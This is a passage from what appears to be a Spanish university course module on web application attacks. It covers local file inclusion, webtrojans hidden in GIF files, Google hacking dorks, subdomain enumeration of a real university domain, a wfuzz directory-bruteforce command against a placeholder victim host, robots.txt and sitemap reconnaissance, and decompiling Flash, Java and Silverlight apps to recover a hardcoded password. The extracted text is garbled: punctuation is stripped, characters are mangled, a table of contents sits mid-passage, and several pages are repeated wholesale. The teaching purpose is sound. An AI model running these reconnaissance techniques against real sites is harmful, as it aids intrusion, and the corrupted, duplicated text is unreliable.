bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 59: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

